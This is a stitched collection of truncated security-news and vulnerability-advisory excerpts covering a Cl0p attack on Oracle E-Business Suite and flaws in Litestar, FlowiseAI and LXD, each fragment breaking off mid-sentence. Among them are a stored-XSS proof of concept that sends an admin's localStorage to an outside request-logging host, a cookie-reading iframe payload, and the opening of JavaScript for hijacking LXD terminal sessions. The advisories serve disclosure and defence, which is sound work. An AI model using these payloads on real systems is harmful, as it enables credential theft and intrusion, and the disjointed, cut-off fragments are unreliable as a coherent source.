#js

CrowdStrike on Monday said it's attributing the exploitation of a recently disclosed security flaw in Oracle E-Business Suite with moderate confidence to a threat actor it tracks as Graceful Spider (aka Cl0p), and that the first known exploitation occurred on August 9, 2025. The exploitation involves the exploitation of CVE-2025-61882 (CVSS score: 9.8), a critical vulnerability that facilitates

While testing Litestar's RateLimitMiddleware, it was discovered that rate limits can be completely bypassed by manipulating the X-Forwarded-For header. This renders IP-based rate limiting ineffective against determined attackers. ## The Problem Litestar's RateLimitMiddleware uses `cache_key_from_request()` to generate cache keys for rate limiting. When an X-Forwarded-For header is present, the middleware trusts it unconditionally and uses its value as part of the client identifier. Since clients can set arbitrary X-Forwarded-For values, each different spoofed IP creates a separate rate limit bucket. An attacker can rotate through different header values to avoid hitting any single bucket's limit. Looking at the relevant code in `litestar/middleware/rate_limit.py` around [line 127](https://github.com/litestar-org/litestar/blob/26f20ac6c52de2b4bf81161f7560c8bb4af6f382/litestar/middleware/rate_limit.py#L127), there's no validation of proxy headers or configuration for trusted proxies....

### Summary User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE. ### Details When creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure: ```json { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"] } ``` Behind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity): ```json { ...SNIP... "inputs":{ "mcpServerConfig":{ "command":"npx", "args":[ "-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files" ] } }, "loadMethod":"listActions" ...SNIP... } ``` Sending the same request with the para...

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered. --- ### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click...

### Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. ### Details 1. Send a Message `<iframe src="javascript:alert(document.cookie);">` from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" /> ##### Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/js...

### Description OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted. However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary. Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when `Content-Type` is `text/plain` or `application/x-www-form-urlencoded`, CSRF attacks exploiting HTML form submissions are possible. ### Reproduc...

### Impact LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions. Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges. ### Reproduction Steps 1. Log in to LXD-UI using an account with read-only permissions 2. Open browser DevTools and execute the following JavaScript code Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel. ```js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = `wss://${window.locati...

### Impact In LXD's images export API (`/1.0/images/{fingerprint}/export`), implementation differences in error handling allow determining project existence without authentication. Specifically, in the following code, errors when multiple images match are directly returned to users as API responses: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/images.go#L239-L246 While fingerprints generally don't duplicate, this functionality uses fingerprints with LIKE clauses, allowing prefix specification. Therefore, using LIKE wildcards such as % will match multiple images if multiple images exist in the project. https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/images.go#L277-L286 In the above implementation, multiple matches result in a 500 error, but if the project itself doesn't exist, there are 0 matches and a 404 is returned. 1. When project exists and multiple images match: HTTP 500 error "More than one image...

### Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series. This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier. However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it. Implementation in vulnerable versions (LXD 5.0 LTS series): https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instance_logs.go#L152-L163 This function allows filenames st...

### Impact The LXD /1.0/images endpoint is implemented as an AllowUntrusted API that requires no authentication, making it accessible to users without accounts. This API allows determining project existence through differences in HTTP status codes when accessed with the project parameter. https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L63-L69 This configuration allows access without authentication: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/daemon.go#L924-L926 This API returns a 404 error when accessing existing projects and a 403 error when accessing non-existent projects, allowing confirmation of project existence through this difference. The problematic implementation is shown below. First, in the error handling implementation of the imagesGet function below, project existence is checked within the `projectutils.ImageProject` function, and the err returned by the `ImageProject` function is d...